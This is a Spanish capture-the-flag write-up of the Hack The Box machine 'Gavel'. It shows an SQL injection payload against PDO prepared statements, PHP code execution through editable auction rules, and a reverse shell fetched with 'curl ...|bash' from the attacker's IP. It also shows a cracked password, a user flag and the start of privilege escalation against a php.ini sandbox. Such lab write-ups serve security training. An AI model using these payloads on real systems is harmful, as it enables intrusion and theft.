Gavel expone un repositorio en su sitio web, en este se identifico una vulnerabilidad SQLi y una funcionalidad que permite ejecutar codigo PHP. Se exploto la vulnerabilidad para obtener acceso al sitio que luego permitio ejecutar comandos para acceso inicial. Se cambio a un nuevo usuario con una contrasena conocida. Se escalaron privilegios con un ejecutable y la edicion de un archivo php.ini.
| Nombre |
Gavel |
| OS |
Linux  |
| Puntos |
30 |
| Dificultad |
Medium |
| Fecha de Salida |
2025-11-29 |
| IP |
10.10.11.97 |
| Maker |
Shadow21A |
|
Rated
|
{
"type": "bar",
"data": {
"labels": ["Cake", "VeryEasy", "Easy", "TooEasy", "Medium", "BitHard","Hard","TooHard","ExHard","BrainFuck"],
"datasets": [{
"label": "User Rated Difficulty",
"data": [96, 68, 341, 541, 908, 436, 259, 72, 18, 43],
"backgroundColor": ["#9fef00","#9fef00","#9fef00", "#ffaf00","#ffaf00","#ffaf00","#ffaf00", "#ff3e3e","#ff3e3e","#ff3e3e"]
}]
},
"options": {
"scales": {
"xAxes": [{"display": false}],
"yAxes": [{"display": false}]
},
"legend": {"labels": {"fontColor": "white"}},
"responsive": true
}
}
|
Recon
nmap
nmap muestra multiples puertos abiertos: http (80) y ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
# Nmap 7.95 scan initiated Sat Nov 29 14:40:44 2025 as: /usr/lib/nmap/nmap --privileged -p22,80 -sV -sC -oN nmap_scan 10.129.110.12
Nmap scan report for 10.129.110.12
Host is up (0.067s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 1f:de:9d:84:bf:a1:64:be:1f:36:4f:ac:3c:52:15:92 (ECDSA)
|_ 256 70:a5:1a:53:df:d1:d0:73:3e:9d:90:ad:c1:aa:b4:19 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://gavel.htb/
Service Info: Host: gavel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Nov 29 14:40:53 2025 -- 1 IP address (1 host up) scanned in 8.93 seconds
|
Web Site
curl muestra una redireccion al dominio gavel.htb el cual agregamos al archivo /etc/hosts.
1
2
3
4
5
6
7
8
|
❯ curl -sI 10.129.110.12
HTTP/1.1 301 Moved Permanently
Date: Sat, 29 Nov 2025 20:41:18 GMT
Server: Apache/2.4.52 (Ubuntu)
Location: http://gavel.htb/
Content-Type: text/html; charset=iso-8859-1
❯
|
Los headers muestran un servidor Apache.
1
2
3
4
5
6
7
8
9
10
11
|
❯ curl -sI http://gavel.htb
HTTP/1.1 200 OK
Date: Sat, 29 Nov 2025 20:41:52 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: gavel_session=59enlq5e7o38n6usddamkm6opp; path=/; HttpOnly; SameSite=Strict
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: text/html; charset=UTF-8
❯
|
Se describe al sitio como una casa de subastas.

En Testimonies encontramos posibles nombres de usuarios.

Creamos un wordlist con estos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
❯ curl -s http://gavel.htb/ | grep '<strong>' | cut -d '>' -f2 | cut -d '<' -f1 | uniq
Merlox the Mild
BidGazer99
ShadowMartha
RuneSniffer42
ElvenEarl77
WandWarrantyVoid
VialCollector69
ZedIsDead
BoneBidderX
GrantMeThis
OwlexaPrime
HalfPriceOgre
MagicalTrashbin
❯
|
User Account
Registramos una cuenta en el sitio.

Encontramos tres items que estan en subasta, cada uno de estos esta activo por un tiempo especifico.

Directory Brute Forcing
feroxbuster muestra que existe un repositorio expuesto.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
|
❯ feroxbuster -u http://gavel.htb/ -w $CM -x php
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.13.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://gavel.htb/
🚩 In-Scope Url │ gavel.htb
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirb/common.txt
👌 Status Codes │ All Status Codes!
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.13.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔎 Extract Links │ true
💲 Extensions │ [php]
🏁 HTTP methods │ [GET]
🔃 Recursion Depth │ 4
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
403 GET 9l 28w 274c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
404 GET 9l 31w 271c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200 GET 1l 2w 23c http://gavel.htb/.git/HEAD
200 GET 1l 44w 2532c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.min.js
200 GET 7l 33w 1265c http://gavel.htb/assets/js/sb-admin-2.min.js
200 GET 84l 301w 4485c http://gavel.htb/register.php
200 GET 78l 213w 4281c http://gavel.htb/login.php
200 GET 222l 1044w 14070c http://gavel.htb/index.php
200 GET 58l 108w 1274c http://gavel.htb/assets/vendor/fontawesome-free/package.json
200 GET 3l 23w 187c http://gavel.htb/assets/vendor/fontawesome-free/attribution.js
200 GET 34l 237w 1548c http://gavel.htb/assets/vendor/fontawesome-free/LICENSE.txt
200 GET 102l 397w 3798c http://gavel.htb/assets/items.json
200 GET 365l 1202w 141649c http://gavel.htb/assets/img/library.jpg
200 GET 7l 1030w 84378c http://gavel.htb/assets/vendor/bootstrap/js/bootstrap.bundle.min.js
200 GET 5l 83w 59344c http://gavel.htb/assets/vendor/fontawesome-free/css/all.min.css
200 GET 166l 953w 4047c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.js
200 GET 59l 254w 1656c http://gavel.htb/assets/vendor/jquery-easing/jquery.easing.compatibility.js
200 GET 324l 2559w 196986c http://gavel.htb/assets/img/scroll.jpg
200 GET 2l 1294w 89501c http://gavel.htb/assets/vendor/jquery/jquery.min.js
200 GET 11299l 22157w 212581c http://gavel.htb/assets/css/sb-admin-2.css
200 GET 337l 2779w 199415c http://gavel.htb/assets/img/cloak.jpg
200 GET 268l 938w 145788c http://gavel.htb/assets/img/speed.jpg
200 GET 1l 7w 137960c http://gavel.htb/assets/vendor/jquery/jquery.min.map
200 GET 227l 1130w 149461c http://gavel.htb/assets/img/goblet.jpg
200 GET 1l 2w 110315c http://gavel.htb/assets/vendor/jquery/jquery.slim.min.map
200 GET 120l 382w 70041c http://gavel.htb/assets/img/robe.jpg
200 GET 2l 1059w 72372c http://gavel.htb/assets/vendor/jquery/jquery.slim.min.js
200 GET 679l 3782w 301740c http://gavel.htb/assets/img/favicon.ico
200 GET 307l 1324w 164612c http://gavel.htb/assets/img/quill.jpg
200 GET 8782l 36235w 235341c http://gavel.htb/assets/vendor/jquery/jquery.slim.js
200 GET 308l 1199w 128350c http://gavel.htb/assets/img/luck.jpg
200 GET 196l 1157w 164627c http://gavel.htb/assets/img/tax.jpg
200 GET 10881l 44400w 288580c http://gavel.htb/assets/vendor/jquery/jquery.js
200 GET 243l 1057w 158209c http://gavel.htb/assets/img/juice.jpg
302 GET 0l 0w 0c http://gavel.htb/admin.php => index.php
200 GET 418l 3176w 243625c http://gavel.htb/assets/img/NDA.jpg
200 GET 276l 1356w 153886c http://gavel.htb/assets/img/spoon.jpg
200 GET 266l 1319w 187333c http://gavel.htb/assets/img/certificate.jpg
200 GET 398l 1583w 182591c http://gavel.htb/assets/img/permit.jpg
200 GET 390l 1652w 191576c http://gavel.htb/assets/img/employment.jpg
200 GET 414l 3207w 260539c http://gavel.htb/assets/img/key.jpg
200 GET 278l 3024w 230643c http://gavel.htb/assets/img/helmet.jpg
200 GET 423l 1396w 179553c http://gavel.htb/assets/img/shard.jpg
200 GET 5229l 29085w 2344711c http://gavel.htb/assets/img/ring.jpg
200 GET 222l 1042w 14020c http://gavel.htb/
301 GET 9l 28w 307c http://gavel.htb/assets => http://gavel.htb/assets/
200 GET 4422l 25758w 1976010c http://gavel.htb/assets/img/welcome.png
200 GET 6403l 37336w 3281525c http://gavel.htb/assets/img/toe.jpg
301 GET 9l 28w 309c http://gavel.htb/includes => http://gavel.htb/includes/
302 GET 0l 0w 0c http://gavel.htb/inventory.php => index.php
302 GET 0l 0w 0c http://gavel.htb/logout.php => index.php
200 GET 0l 0w 0c http://gavel.htb/includes/auction.php
200 GET 0l 0w 0c http://gavel.htb/includes/config.php
200 GET 0l 0w 0c http://gavel.htb/includes/db.php
301 GET 9l 28w 306c http://gavel.htb/rules => http://gavel.htb/rules/
200 GET 0l 0w 0c http://gavel.htb/includes/session.php
❯
|
Gavel Repository
Ejecutamos git-dumper el cual nos permitio obtener el repositorio.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
❯ git-dumper http://gavel.htb/ gavel_repo
[-] Testing http://gavel.htb/.git/HEAD [200]
[-] Testing http://gavel.htb/.git/ [200]
[-] Fetching .git recursively
[-] Fetching http://gavel.htb/.gitignore [404]
[-] http://gavel.htb/.gitignore responded with status code 404
[-] Fetching http://gavel.htb/.git/ [200]
[-] Fetching http://gavel.htb/.git/branches/ [200]
[-] Fetching http://gavel.htb/.git/HEAD [200]
[-] Fetching http://gavel.htb/.git/description [200]
[-] Fetching http://gavel.htb/.git/hooks/ [200]
[... cut ...]
[-] Fetching http://gavel.htb/.git/objects/fe/04870bc4fc146cd72f8f552cb5e83a43f1eaca [200]
[-] Fetching http://gavel.htb/.git/objects/fe/7978feee5d11c5aaf7bfa02602ef34130f2379 [200]
[-] Sanitizing .git/config
[-] Running git checkout .
Updated 1849 paths from the index
❯
|
git log muestra unicamente tres commits realizados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
❯ git log
commit f67d90739a31d3f9ffcc3b9122652b500ff2a497 (HEAD -> master)
Author: sado <sado@gavel.htb>
Date: Fri Oct 3 18:38:02 2025 +0000
..
commit 2bd167f52a35786a5a3e38a72c63005fffa14095
Author: sado <sado@gavel.htb>
Date: Fri Oct 3 18:37:10 2025 +0000
.
commit ff27a161f2dd87a0c597ba5638e3457ac167c416
Author: sado <sado@gavel.htb>
Date: Sat Sep 20 13:12:15 2025 +0000
gavel auction ready
❯
|
El primero muestra el commit inicial.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
❯ git show --name-only ff27a161f2dd87a0c597ba5638e3457ac167c416
commit ff27a161f2dd87a0c597ba5638e3457ac167c416
Author: sado <sado@gavel.htb>
Date: Sat Sep 20 13:12:15 2025 +0000
gavel auction ready
admin.php
assets/css/sb-admin-2.css
assets/img/NDA.jpg
assets/img/certificate.jpg
assets/img/cloak.jpg
[... cut ...]
assets/vendor/jquery/jquery.slim.min.map
bidding.php
includes/.htaccess
includes/auction.php
includes/auction_watcher.php
includes/bid_handler.php
includes/config.php
includes/db.php
includes/session.php
index.php
inventory.php
login.php
logout.php
register.php
rules/.htaccess
rules/default.yaml
❯
|
Code Review
El codigo fuente muestra que la base de datos es MySQL.
1
2
3
4
5
6
7
8
9
10
|
// db.php
<?php
require_once __DIR__ . '/config.php';
try {
$pdo = new PDO("mysql:host=" . DB_HOST . ";dbname=" . DB_NAME, DB_USER, DB_PASS);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
$pdo->setAttribute(PDO::MYSQL_ATTR_USE_BUFFERED_QUERY, true);
} catch (PDOException $e) {
die("Database connection failed.");
}
|
Vemos una posible inyeccion SQL en inventory.php a traves del parametro sort.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
// inventory.php
$sortItem = $_POST['sort'] ?? $_GET['sort'] ?? 'item_name';
$userId = $_POST['user_id'] ?? $_GET['user_id'] ?? $_SESSION['user']['id'];
$col = "`" . str_replace("`", "", $sortItem) . "`";
$itemMap = [];
$itemMeta = $pdo->prepare("SELECT name, description, image FROM items WHERE name = ?");
try {
if ($sortItem === 'quantity') {
$stmt = $pdo->prepare("SELECT item_name, item_image, item_description, quantity FROM inventory WHERE user_id = ? ORDER BY quantity DESC");
$stmt->execute([$userId]);
} else {
$stmt = $pdo->prepare("SELECT $col FROM inventory WHERE user_id = ? ORDER BY item_name ASC");
$stmt->execute([$userId]);
}
$results = $stmt->fetchAll(PDO::FETCH_ASSOC);
} catch (Exception $e) {
$results = [];
}
|
Rules
Tambien, encontramos que existe un panel para usuarios con el rol auctioneer. Mediante este, es posible crear reglas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
|
//admin.php
if (!isset($_SESSION['user']) || $_SESSION['user']['role'] !== 'auctioneer') {
header('Location: index.php');
exit;
}
// [... cut ...]
<div class="container-fluid pt-4">
<h1 class="h3 text-gray-800 text-center"><i class="fa fa-lock"></i> Admin Panel</h1>
<hr>
<?php if (!empty($_SESSION['success'])): ?>
<div class="alert alert-success text-center">Rule and message updated successfully!</div>
<?php unset($_SESSION['success']); ?>
<?php endif; ?>
<?php if (!$current_auction): ?>
<div class="alert alert-warning">No active auctions at the moment. Please check back later.</div>
<?php else: ?>
<div class="row">
<?php foreach ($current_auction as $auction):
$itemDetails = get_item_by_name($auction['item_name']);
$remaining = strtotime($auction['ends_at']) - time();
?>
<div class="col-md-4">
<div class="card shadow mb-4">
<div class="card-body text-center">
<img src="<?= ASSETS_URL ?>/img/<?= $itemDetails['image'] ?>" alt="" class="img-fluid mb-3" style="max-height: 200px;">
<h3 class="mb-1"><?= htmlspecialchars($itemDetails['name']) ?></h3>
<p class="mb-1"><?= htmlspecialchars($itemDetails['description']) ?></p>
<hr>
<form class="bidForm mt-4" method="POST">
<input type="hidden" name="auction_id" value="<?= $auction['id'] ?>">
<!-- p class="mb-1 text-justify"><strong>Rule:</strong> <code lang="php"><?= htmlspecialchars($auction['rule']) ?></code></p -->
<input type="text" class="form-control form-control-user" name="rule" placeholder="Edit rule">
<!-- <p class="mb-1 text-justify"><strong>Message:</strong> <?= htmlspecialchars($auction['message']) ?></p> -->
<input type="text" class="form-control form-control-user" name="message" placeholder="Edit message">
<p class="mb-1 text-justify"><strong>Time Remaining:</strong> <span class="timer" data-end="<?= strtotime($auction['ends_at']) ?>"><?= $remaining ?></span> seconds <i class="fas fa-clock"></i></p>
<button class="btn btn-dark btn-user btn-block" type="submit"><i class="fas fa-pencil-alt"></i> Edit</button>
</form>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
<?php endif; ?>
</div>
</div>
|
Las reglas son utilizadas para las ofertas realizadas.
1
2
3
4
5
6
7
8
9
10
|
# default.yaml
rules:
- rule: "return $current_bid >= $previous_bid * 1.1;"
message: "Bid at least 10% more than the current price."
- rule: "return $current_bid % 5 == 0;"
message: "Bids must be in multiples of 5. Your account balance must cover the bid amount."
- rule: "return $current_bid >= $previous_bid + 5000;"
message: "Only bids greater than 5000 + current bid will be considered. Ensure you have sufficient balance before placing such bids."
|
Tambien, son utilizadas en bid_handler.php, donde se hace el uso de runkit_function_add(). Esta permite crear una nueva funcion. En este caso crea la funcion ruleCheck().
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
|
// ... cut ...
if (!isset($_SESSION['user'])) {
echo json_encode(['success' => false, 'message' => 'You must be logged in.']);
exit;
}
$auction_id = (int) ($_POST['auction_id'] ?? 0);
$bid_amount = (int) ($_POST['bid_amount'] ?? 0);
$id = $_SESSION['user']['id'] ?? null;
$username = $_SESSION['user']['username'] ?? null;
// if pass
$current_bid = $bid_amount;
$previous_bid = $auction['current_price'];
$bidder = $username;
$rule = $auction['rule'];q
$rule_message = $auction['message'];
$allowed = false;
try {
if (function_exists('ruleCheck')) {
runkit_function_remove('ruleCheck');
}
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
} catch (Throwable $e) {
error_log("Rule error: " . $e->getMessage());
$allowed = false;
}
// ... cut ...
|
Un ejemplo para runkit_function_add muestra la ejecucion de codigo con los argumentos agregados tras su creacion.
1
2
3
4
5
6
7
8
|
<?php
create_function('testme','$a,$b','echo "The value of a is $a\n"; echo "The value of b is $b\n";');
testme(1,2);
/* output:
The value of a is 1
The value of b is 2
*/
|
En el caso de gavel se toma la regla de la subasta la cual es codigo php y los argumentos son: la oferta actual, previa y el usuario. Tras realizar una oferta al objeto en subasta se ejecuta la funcion y se devuelve al usuario un mensaje.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
//bid_handler.php
$rule = 'return $current_bid >= $previous_bid * 1.1;';
$current_bid = // $bid_amount = (int) ($_POST['bid_amount'] ?? 0);
$previous_bid = // $auction['current_price'];
$bidder = //$_SESSION['user']['username'] ?? null;
runkit_function_add('ruleCheck', '$current_bid, $previous_bid, $bidder', $rule);
error_log("Rule: " . $rule);
$allowed = ruleCheck($current_bid, $previous_bid, $bidder);
//
// ruleCheck($current_bid, $previous_bid, $bidder){
// return $current_bid >= $previous_bid * 1.1;
// }
//
|
Lo anterior nos permitiria ejecutar codigo PHP para luego Comandos en la maquina, para ello es necesario obtener primero acceso con un usuario con el rol auctioneer.
SQL Injection
El post A Novel Technique for SQL Injection in PDO’s Prepared Statements muestra como explotar la vulnerabilidad de Inyeccion SQL para un ejemplo similar al de gavel. Basados en el post utilizamos un ‘payload’ que nos permite realizar la explotacion.
1
|
user_id=x` FROM (SELECT 1338 AS `'x`)y;#&sort=\?#--
|
Este muestra el valor 1338 especificado.

Obtuvimos usuarios y hash de contrasena de la tabla users.
1
|
user_id=x` FROM (SELECT concat(username,password) AS `'x` from users)y;#&sort=\?#--
|

Cracking the Hash
Ejecutamos john con el wordlist rockyou.txt sobre el archivo de hash.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
PS C:\Users\sckull\Documents\github\hashcat-7.1.2> ./hashcat.exe -m 3200 '$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS' rockyou.txt
hashcat (v7.1.2) starting
Successfully initialized the NVIDIA main driver CUDA runtime library.
# [... cut ...]
Host memory allocated for this attack: 545 MB (12005 MB free)
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
$2y$10$MNkDHV6g16FjW/lAQRpLiuQXN4MVkdMuILn0pLQlC2So9SgH5RTfS:midnight1
# [... cut ...]
PS C:\Users\sckull\Documents\github\hashcat-7.1.2>
|
Admin Access
Las credenciales nos dan acceso al panel de administracion, vemos que podemos editar las reglas.

Code Execution
Editamos la regla de uno de los objetos en subasta.

Agregamos codigo para la ejecucion de curl.
1
|
system("curl 10.10.14.45");
|
Para ejecutar la regla anterior se realiza una oferta al objeto. Este muestra una solicitud curl a nuestra IP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
POST /includes/bid_handler.php HTTP/1.1
Host: gavel.htb
Content-Type: multipart/form-data; boundary=----geckoformboundary574841ba6f014a46de1c5a49944deb53
Cookie: gavel_session=ioiq6fugl6pvhjcklicaj1d6ti
Priority: u=0
------geckoformboundary574841ba6f014a46de1c5a49944deb53
Content-Disposition: form-data; name="auction_id"
323
------geckoformboundary574841ba6f014a46de1c5a49944deb53
Content-Disposition: form-data; name="bid_amount"
10000
------geckoformboundary574841ba6f014a46de1c5a49944deb53--
HTTP/1.1 200 OK
Date: Sat, 29 Nov 2025 23:49:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 657
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: application/json
<!DOCTYPE HTML>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Directory listing for /</title>
</head>
<body>
<h1>Directory listing for /</h1>
<hr>
<ul>
<li><a href="nmap_scan">nmap_scan</a></li>
<li><a href="nmap_scan_udp">nmap_scan_udp</a></li>
<li><a href="users.txt">users.txt</a></li>
</ul>
<hr>
</body>
</html>
{"success":false,"message":"system"}
|
User - www-data
Editamos nuevamente la regla para la ejecucion de una shell inversa con shells.
1
|
system("curl 10.10.14.45:8000/10.10.14.45:1335|bash");
|
Logrando obtener acceso como www-data.
1
2
3
4
5
6
7
8
9
|
❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.45] from gavel.htb [10.129.110.12] 43978
/bin/sh: 0: can't access tty; job control turned off
$ whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/html/gavel/includes
$
|
User - Auctioneer
Observamos que existe el usuario auctioneer, utilizamos su misma contrasena para acceso a este usuario y la flag user.txt.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
auctioneer:x:1001:1002::/home/auctioneer:/bin/bash
$ su auctioneer
Password: midnight1
whoami;id
auctioneer
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
cd
ls
user.txt
cat user.txt
36645a74f0e0fdf12c7ee156ce84b68d
|
Privesc
En /opt/ encontramos el directorio gavel con un ejecutable gaveld y el archivo php.ini. Este ultimo indica open_basedir y disable_functions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
auctioneer@gavel:/opt/gavel$ ls -lah
total 56K
drwxr-xr-x 4 root root 4.0K Nov 5 12:46 .
drwxr-xr-x 3 root root 4.0K Nov 5 12:46 ..
drwxr-xr-x 3 root root 4.0K Nov 5 12:46 .config
-rwxr-xr-- 1 root root 36K Oct 3 19:35 gaveld
-rw-r--r-- 1 root root 364 Sep 20 14:54 sample.yaml
drwxr-x--- 2 root root 4.0K Nov 5 12:46 submission
auctioneer@gavel:/opt/gavel$ ls -lah .config
total 12K
drwxr-xr-x 3 root root 4.0K Nov 5 12:46 .
drwxr-xr-x 4 root root 4.0K Nov 5 12:46 ..
drwxr-xr-x 2 root root 4.0K Nov 5 12:46 php
auctioneer@gavel:/opt/gavel$ ls -lah .config/php
total 12K
drwxr-xr-x 2 root root 4.0K Nov 5 12:46 .
drwxr-xr-x 3 root root 4.0K Nov 5 12:46 ..
-rw-r--r-- 1 root root 502 Oct 3 19:35 php.ini
auctioneer@gavel:/opt/gavel$ cat .config/php/php.ini
engine=On
display_errors=On
display_startup_errors=On
log_errors=Off
error_reporting=E_ALL
open_basedir=/opt/gavel
memory_limit=32M
max_execution_time=3
max_input_time=10
disable_functions=exec,shell_exec,system,passthru,popen,proc_open,proc_close,pcntl_exec,pcntl_fork,dl,ini_set,eval,assert,create_function,preg_replace,unserialize,extract,file_get_contents,fopen,include,require,require_once,include_once,fsockopen,pfsockopen,stream_socket_client
scan_dir=
allow_url_fopen=Off
allow_url_include=Off
auctioneer@gavel:/opt/gavel$
|
Nuestro usuario pertenece al grupo gavel-seller el cual tiene acceso a un ejecutable: gavel-util.
1
2
3
4
5
6
7
8
|
auctioneer@gavel:/opt/gavel$ id
uid=1001(auctioneer) gid=1002(auctioneer) groups=1002(auctioneer),1001(gavel-seller)
auctioneer@gavel:/opt/gavel$ find / -group gavel-seller 2>/dev/null | grep -v proc | grep -v sys
/run/gaveld.sock
/usr/local/bin/gavel-util
auctioneer@gavel:/opt/gavel$ file /usr/local/bin/gavel-util
/usr/local/bin/gavel-util: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=941cf63911b2f8f4cabff61062f2c9ad64f043d6, for GNU/Linux 3.2.0, not stripped
auctioneer@gavel:/opt/gavel$
|
strings indica que, posiblemente se comunica con /var/run/gaveld.sock.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
auctioneer@gavel:/opt/gavel$ strings /usr/local/bin/gavel-util
/lib64/ld-linux-x86-64.so.2
_ITM_deregisterTMCloneTable
# [.. cut ...]
send hdrlen failed
send hdr failed
send content failed
submit
stat
not a regular file: %s
file too large
fopen
failed to read %s
/var/run/gaveld.sock
failed to connect to %s
filename
flags
content_length
[32m%s
stats
[31mNo response
invoice
[33mUsage: %s <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
[31msubmit requires file argument
[31mNo response from server
[31mNo response for invoice
/var/run/gaveld.
:*3$"
GCC: (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0
Scrt1.o
__abi_tag
gavel-util.c
collect_env
writen
send_header_and_content
readn
recv_response
connect_sock
# [.. cut ...]
auctioneer@gavel:/opt/gavel$
|
La ejecucion muestra stats e invoice, pero este ultimo no parece poder leer algun archivo log.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
|
auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util
Usage: /usr/local/bin/gavel-util <cmd> [options]
Commands:
submit <file> Submit new items (YAML format)
stats Show Auction stats
invoice Request invoice
auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util stats
=================== GAVEL AUCTION DASHBOARD ===================
[Active Auctions]
ID Item Name Current Bid Ends In
332 Boots of Slight Speed 1966 01:04
333 Ethereal Tax Token 983 01:07
334 Potion of Eternal Wakefulness 1572 01:08
[Recently Ended Auctions]
ID Item Name Final Price Winner
331 Time-Traveling Spoon 724 None
330 Goblin-Signed NDA 1191 None
329 Goblet of Slight Insight 1659 None
auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util invoice
{"status":"err","msg":"Cannot open log"}
auctioneer@gavel:/opt/gavel$
|
En cuanto a submit tomamos el archivo sample.yml.
1
2
3
4
5
6
7
8
9
10
11
12
|
auctioneer@gavel:/opt/gavel$ ls
gaveld sample.yaml submission
auctioneer@gavel:/opt/gavel$ cat sample.yaml
---
item:
name: "Dragon's Feathered Hat"
description: "A flamboyant hat rumored to make dragons jealous."
image: "https://example.com/dragon_hat.png"
price: 10000
rule_msg: "Your bid must be at least 20% higher than the previous bid and sado isn't allowed to buy this item."
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
auctioneer@gavel:/opt/gavel$
|
Creamos un archivo solo con los valores bajo item.
1
2
3
4
5
6
|
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return ($current_bid >= $previous_bid * 1.2) && ($bidder != 'sado');"
|
Pasamos este archivo al ejecutable.
1
2
3
|
auctioneer@gavel:/opt/gavel$ /usr/local/bin/gavel-util submit /dev/shm/file.yaml
Item submitted for review in next auction
auctioneer@gavel:/opt/gavel$
|
pspy muestra la ejecucion de la regla tomando el archivo de configuracion php.ini.
1
2
3
4
5
6
7
8
|
2025/11/30 00:35:08 CMD: UID=1001 PID=60506 | /usr/local/bin/gavel-util submit /dev/shm/file.yaml
2025/11/30 00:35:08 CMD: UID=0 PID=60507 | /opt/gavel/gaveld
2025/11/30 00:35:08 CMD: UID=0 PID=60508 | /usr/bin/php -n -c /opt/gavel/.config/php/php.ini -d display_errors=1 -r function __sandbox_eval() {$previous_bid=150;$current_bid=200;$bidder='Shadow21A';return ($current_bid >= $previous_bid * 1.2);};$res = __sandbox_eval();if(!is_bool($res)) { echo 'SANDBOX_RETURN_ERROR'; }else if($res) { echo 'ILLEGAL_RULE'; }
2025/11/30 00:35:09 CMD: UID=0 PID=60509 |
2025/11/30 00:35:09 CMD: UID=0 PID=60510 | sudo -u www-data /usr/bin/php /var/www/html/gavel/includes/auction_watcher.php
2025/11/30 00:35:09 CMD: UID=0 PID=60511 | /bin/bash /root/scripts/auction_watcher.sh
2025/11/30 00:35:10 CMD: UID=0 PID=60512 | sudo -u www-data /usr/bin/php /var/www/html/gavel/includes/auction_watcher.php
2025/11/30 00:35:10 CMD: UID=33 PID=60513 |
|
Al intentar ejecutar la funcion system() este nos muestra que esta desabilitada.
1
2
3
4
5
6
7
|
---
name: "name item"
description: "description"
image: "image.png"
price: 10000
rule_msg: "msg rule"
rule: "return system('whoami>/dev/shm/whoami.txt');"
|
1
2
3
4
5
|
auctioneer@gavel:/dev/shm$ /usr/local/bin/gavel-util submit /dev/shm/file.yaml
Illegal rule or sandbox violation.
Warning: system() has been disabled for security reasons in Command line code on line 1
SANDBOX_RETURN_ERROR
auctioneer@gavel:/dev/shm$
|
El archivo php.ini en disable_functions contiene la funcion system.
1
2
3
4
5
|
# [...]
open_basedir=/opt/gavel
# [...]
